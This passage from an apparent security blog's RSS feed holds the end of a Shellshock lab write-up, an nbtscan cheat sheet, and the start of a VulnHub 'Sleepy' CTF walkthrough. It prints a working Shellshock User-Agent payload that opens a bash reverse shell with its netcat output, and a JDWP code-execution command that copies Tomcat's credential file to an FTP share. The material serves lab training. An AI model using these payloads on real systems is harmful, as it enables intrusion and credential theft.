               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 6.0 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.21 ((Unix) DAV/2)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;website-inspection&quot;&gt;Website Inspection&lt;/h2&gt;

&lt;p&gt;Inspection of Squid using the metasploit module &lt;code&gt;auxiliary/scanner/http/squid_pivot_scanning&lt;/code&gt; discovered port 80 was exposed via the proxy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/pentesterslab/shellshock/shellshock-burp.png&quot; alt=&quot;Shellshock Burp Suite&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;burp-suite---send-reverse-shellshock&quot;&gt;Burp Suite - Send Reverse Shellshock&lt;/h2&gt;

&lt;p&gt;Burp Suite was used to manipulate the &lt;code&gt;User Agent:&lt;/code&gt; and deliver the following payload:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; ignored&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;/bin/bash &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/192.168.221.139/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/pentesterslab/shellshock/shellshock-payload-burp.png&quot; alt=&quot;Burp Suite Shellshock Payload&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h2&gt;

&lt;p&gt;Successfully connecting to the listening netcat instance:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc.traditional &lt;span class=&quot;nt&quot;&gt;-lp&lt;/span&gt; 443 &lt;span class=&quot;nt&quot;&gt;-vvv&lt;/span&gt;
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
192.168.221.144: inverse host lookup failed: Unknown host
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.139] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.144] 44254
bash: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
bash-4.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;pentesterlab&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;50&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;staff&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;50&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;staff&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,100&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;pentesterlab&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;End of exercise.&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>nbtscan Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/nbtscan-cheat-sheet/</link>
          <pubDate>Fri, 29 Mar 2024 14:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Windows</category>
          
          <category>SMB</category>
          
          <category>smb-enum</category>
          
          <category>Tools</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/nbtscan-cheat-sheet/</guid>
          <description>&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.unixwiz.net/tools/nbtscan.html&quot;&gt;nbtscan&lt;/a&gt;&lt;/strong&gt; is a command line tool that finds exposed NETBIOS nameservers, it’s a good first step for finding open shares.&lt;/p&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Don&apos;t use the version of nbtscan that ships with KALI&lt;/h5&gt;
  &lt;p&gt;Grab nbtscan from the above link and build it from source, this version tends to find more information&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;compile-nbtscan-on-kali&quot;&gt;Compile nbtscan on KALI&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@kali:~/nbtscan# wget http://www.unixwiz.net/tools/nbtscan-source-1.0.35.tgz
root@kali:~/nbtscan# &lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-xvzf&lt;/span&gt; nbtscan-source-1.0.35.tgz
root@kali:~/nbtscan# make
root@kali:~/nbtscan# ./nbtscan
nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/

usage: ./nbtscan &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;options] target &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;targets...]

   Targets are lists of IP addresses, DNS names, or address
   ranges. Ranges can be &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /nbits notation &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;192.168.12.0/24&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   or with a range &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the last octet &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;192.168.12.64-97&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nbtscan-cheat-sheet&quot;&gt;nbtscan Cheat Sheet&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -v&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Displays the nbtscan version&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

     &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -f target(s)&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -O file-name.txt target(s)&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Sends output to a file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -H&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Generate an HTTP header&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -P&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -V&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Enable verbose mode&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -n&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Turns off this inverse name lookup, for hanging resolution&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -p PORT target(s)&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;This allows specification of a UDP port number to be used as the source in sending a query&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtscan -m&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Include the MAC (aka &quot;Ethernet&quot;) addresses in the response, which is already implied by the -f option.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>/dev/random: Sleepy Walkthrough CTF</title>
          <link>https://hacksofdhruv.me/blog/sleepy-ctf-walkthrough/</link>
          <pubDate>Tue, 26 Mar 2024 21:12:52 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/sleepy-ctf-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#jserv-enumeration&quot; id=&quot;markdown-toc-jserv-enumeration&quot;&gt;JServ Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#jdwp-enumeration&quot; id=&quot;markdown-toc-jdwp-enumeration&quot;&gt;JDWP Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#apache-tomcat-jserv-proxy-setup&quot; id=&quot;markdown-toc-apache-tomcat-jserv-proxy-setup&quot;&gt;Apache Tomcat JServ Proxy setup&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#apache-tomcat-proxy-setup-script&quot; id=&quot;markdown-toc-apache-tomcat-proxy-setup-script&quot;&gt;Apache Tomcat Proxy Setup Script&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#remote-exploitation&quot; id=&quot;markdown-toc-remote-exploitation&quot;&gt;Remote Exploitation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#meterpreter-shell&quot; id=&quot;markdown-toc-meterpreter-shell&quot;&gt;Meterpreter Shell&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#binary-interrogation&quot; id=&quot;markdown-toc-binary-interrogation&quot;&gt;Binary Interrogation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#bash-function-manipulation&quot; id=&quot;markdown-toc-bash-function-manipulation&quot;&gt;Bash Function Manipulation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#root-flag&quot; id=&quot;markdown-toc-root-flag&quot;&gt;Root Flag&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Sleepy&lt;/strong&gt; is part of the /dev/random: series created by Sagi-, it’s a little more difficult than &lt;a href=&quot;/blog/pipe-ctf-walkthrough/&quot;&gt;Pipe&lt;/a&gt; depending on your skill set.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/s4gi_&quot;&gt;@s4gi_ &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com/entry/devrandom-sleepy,123/&quot;&gt;/dev/random: Sleepy&lt;/a&gt; via &lt;a href=&quot;https://twitter.com/VulnHub&quot;&gt;@VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;_________.__                              
/   _____/|  |   ____   ____ ______ ___.__.
&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;____  &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;|  | _/ __ &lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;/ __ &lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;____ &amp;lt;   |  |
/        &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;  |_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; ___/&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; ___/|  |_&amp;gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;___  |
/_______  /|____/&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;__  &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;__  &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;   __// ____| ·VM·
      &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;           &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;     &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;|__|   &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;##Enumeration&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.146

PORT     STATE SERVICE REASON  VERSION
21/tcp   open  ftp     syn-ack vsftpd 2.0.8 or later
8009/tcp open  ajp13   syn-ack Apache Jserv &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Protocol v1.3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
9001/tcp open  jdwp    syn-ack Java Debug Wire Protocol &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reference Implementation&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; version 1.6 1.7.0_71
MAC Address: 00:0C:29:8C:41:F7 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;VMware&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 49.709 days &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;since Wed Oct  7 20:28:44 2015&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;###Service Enumeration&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 21&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;FTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;vsftpd 2.0.8 or later&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 8009&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;ajp13&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache Jserv (Protocol v1.3)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 9001&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;jdwp&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Java Debug Wire Protocol version 1.6 1.7.0_71&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;###FTP Enumeration&lt;/p&gt;

&lt;p&gt;As nmap  indicated, FTP had anonymous access enabled. Interrogation of the service revealed &lt;code&gt;/pub/sleepy.png &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sleepy/sleepy.png&quot; alt=&quot;base64 image&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;jserv-enumeration&quot;&gt;JServ Enumeration&lt;/h3&gt;

&lt;p&gt;JServ protocol is exposed with no web server proxy, JServ acts as a proxy and requires a web server to proxy it’s requests.&lt;/p&gt;

&lt;h3 id=&quot;jdwp-enumeration&quot;&gt;JDWP Enumeration&lt;/h3&gt;

&lt;p&gt;Unauthenticated JDWP is exposed:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root]# jdb &lt;span class=&quot;nt&quot;&gt;-attach&lt;/span&gt; 192.168.30.146:9001&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Research indicated it was possible to interrupt threads, with the command: &lt;code&gt;interupt&lt;/code&gt; allowing for arbitrary code execution.&lt;/p&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;JDWP Commands&lt;/h5&gt;
  &lt;p&gt;Type &lt;code&gt;help&lt;/code&gt; for a list of &lt;b&gt;JDWP&lt;/b&gt; commands.&lt;/p&gt;
&lt;/div&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root]# jdb &lt;span class=&quot;nt&quot;&gt;-attach&lt;/span&gt; 192.168.30.146:9001                                                                                                                                                 
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; threads
Group system:
  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java.lang.ref.Reference&lt;span class=&quot;nv&quot;&gt;$ReferenceHandler&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;0x19d Reference Handler cond. waiting
  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java.lang.ref.Finalizer&lt;span class=&quot;nv&quot;&gt;$FinalizerThread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;0x19e  Finalizer         cond. waiting
  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java.lang.Thread&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;0x19f                         Signal Dispatcher running
Group main:
  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java.lang.Thread&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;0x1a1                         main              sleeping
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; interrupt 0x1a1
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
Exception occurred: java.lang.InterruptedException &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;uncaught&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;thread=main&quot;&lt;/span&gt;, java.lang.Thread.sleep&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;, &lt;span class=&quot;nv&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bci&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;

main[1] print new java.lang.String&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.BufferedReader&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.InputStreamReader&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.lang.Runtime&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;.exec&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cp /etc/tomcat/tomcat-users.xml /var/ftp/pub/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.getInputStream&lt;span class=&quot;o&quot;&gt;()))&lt;/span&gt;.readLine&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
java.lang.NullPointerException
	at com.sun.tools.example.debug.expr.LValue.argumentsMatch&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LValue.java:268&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.LValue.resolveOverload&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LValue.java:399&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.LValue.makeNewObject&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;LValue.java:820&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.AllocationExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:1119&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.PrimaryPrefix&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:961&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.PrimaryExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:909&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.PostfixExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:834&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.UnaryExpressionNotPlusMinus&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:757&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.UnaryExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:687&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.MultiplicativeExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:611&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.AdditiveExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:580&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.ShiftExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:542&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.RelationalExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:504&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.InstanceOfExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:485&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.EqualityExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:455&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.AndExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:433&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.ExclusiveOrExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:412&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.InclusiveOrExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:391&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalAndExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:370&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
